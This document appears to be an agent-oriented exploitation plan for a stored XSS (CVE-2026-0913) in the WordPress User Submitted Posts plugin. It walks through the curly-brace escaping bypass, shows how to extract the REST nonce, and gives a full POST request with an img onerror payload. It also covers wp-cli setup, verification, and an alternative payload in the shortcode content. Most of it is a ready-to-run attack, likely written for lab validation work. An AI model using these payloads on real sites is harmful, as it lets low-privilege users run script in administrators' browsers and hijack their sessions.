Exploitation Research Plan: CVE-2026-0913 (User Submitted Posts Stored XSS)

1. Vulnerability Summary

The User Submitted Posts plugin (<= 20260110) contains a stored cross-site scripting (XSS) vulnerability in its usp_access shortcode. The vulnerability exists because the plugin attempts to allow HTML tags using curly brace substitution (e.g., {tag} -> <tag>) but applies htmlspecialchars() before performing the substitution. This allows an attacker to bypass the HTML escaping by using curly braces, which are subsequently converted into raw HTML tags that are rendered unescaped in the browser.

The vulnerable code is located in library/shortcode-access.php within the usp_access() function.

2. Attack Vector Analysis

• Endpoint: WordPress Post Editor or REST API (standard post creation/editing).
• Vulnerable Shortcode: [usp_access]
• Vulnerable Attributes: deny and the shortcode $content.
• Authentication: Authenticated, Contributor level or higher.
• Preconditions: The attacker must be able to submit a post containing shortcodes. By default, the "Contributor" role in WordPress can create posts and use shortcodes.
• Payload Location: The payload is stored in the post_content field of a WordPress post.

3. Code Flow

1. Entry Point: A user with Contributor privileges creates or updates a post containing the [usp_access] shortcode.
2. Shortcode Registration: The plugin registers the shortcode in library/shortcode-access.php:

   add_shortcode('usp_access', 'usp_access');
   

3. Vulnerable Function: When the post is viewed, the_content filter triggers do_shortcode(), which calls usp_access($attr, $content).
4. Processing Logic (Sink):

   // Extract attributes
   extract(shortcode_atts(array('cap' => 'read', 'deny' => ''), $attr));
   
   // Escaping applied FIRST
   $deny = htmlspecialchars($deny, ENT_QUOTES);
   
   // Substitution applied SECOND (Bypass)
   $deny = str_replace("{", "<", $deny);
   $deny = str_replace("}", ">", $deny);
   
   // Weak sanitization (only removes <script> tags)
   $deny = preg_replace('#<script(.*)>(.*)</script>#is', '', $deny);
   

5. Return: The function returns $deny (if the user lacks the capability) or $content (if they have it), both of which are processed identically. The returned string is injected into the page without further escaping.

4. Nonce Acquisition Strategy

This vulnerability is a Stored XSS that is triggered when a post is rendered. No specific plugin-related AJAX nonces are required to trigger the XSS.
To inject the payload as a Contributor:

1. Use the wp_cli tool to create the post directly (if possible in the environment).
2. Alternatively, use the WordPress REST API. The REST API requires a _wpnonce for authentication if using cookie-based auth, which can be extracted from the wp-admin dashboard.
3. Agent Strategy:
   • Navigate to wp-admin/post-new.php as the Contributor user.
   • Use browser_eval to extract the wpRestNonce from the wpApiSettings object:
     browser_eval("window.wpApiSettings?.nonce").

5. Exploitation Strategy

Step 1: Authentication

Authenticate as a user with the Contributor role.

Step 2: Payload Injection

Submit a post containing the malicious shortcode. We will use a capability that a Contributor (and potentially others) does not have, such as manage_options, to ensure the deny attribute is rendered for most users.

• Payload: [usp_access cap="manage_options" deny="{img src=x onerror=alert(document.domain)}"]Clickbait Title[/usp_access]
• Method: POST to /wp-json/wp/v2/posts

Request details:

POST /wp-json/wp/v2/posts HTTP/1.1
Content-Type: application/json
X-WP-Nonce: [REST_NONCE]

{
  "title": "Important Update",
  "content": "[usp_access cap=\"manage_options\" deny=\"{img src=x onerror=alert(document.domain)}\"]Secret Content[/usp_access]",
  "status": "pending"
}

Step 3: Triggering the XSS

An Administrator or another user views the "Pending" post in the WordPress admin dashboard (or the frontend if the Contributor has publishing rights/the post is published).

6. Test Data Setup

1. Create Contributor User:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

2. Plugin Configuration: Ensure the plugin is active.

   wp plugin activate user-submitted-posts
   

7. Expected Results

• The htmlspecialchars function will see {img ...} and do nothing (no < or > present).
• The str_replace will convert { and } to < and >.
• The final HTML rendered in the browser will contain:
  <img src=x onerror=alert(document.domain)>
• The browser will execute the onerror event, triggering the alert.

8. Verification Steps

1. Verify Post Creation:

   wp post list --post_type=post --post_status=pending
   

2. Verify Rendered HTML:
   Fetch the post content from the frontend or preview:

   # Use the post ID from the previous step
   # Look for the unescaped img tag in the response
   http_request GET "http://localhost:8080/?p=[POST_ID]"
   

   Confirm the response contains: <img src=x onerror=alert(document.domain)>

9. Alternative Approaches

If the deny attribute is not rendered because the user has the capability, the $content parameter is equally vulnerable.
Alternative Payload:
[usp_access cap="read"]{img src=x onerror=alert('content_xss')}[/usp_access]
Since read is a capability held by all logged-in users, this payload will execute for any logged-in user viewing the post.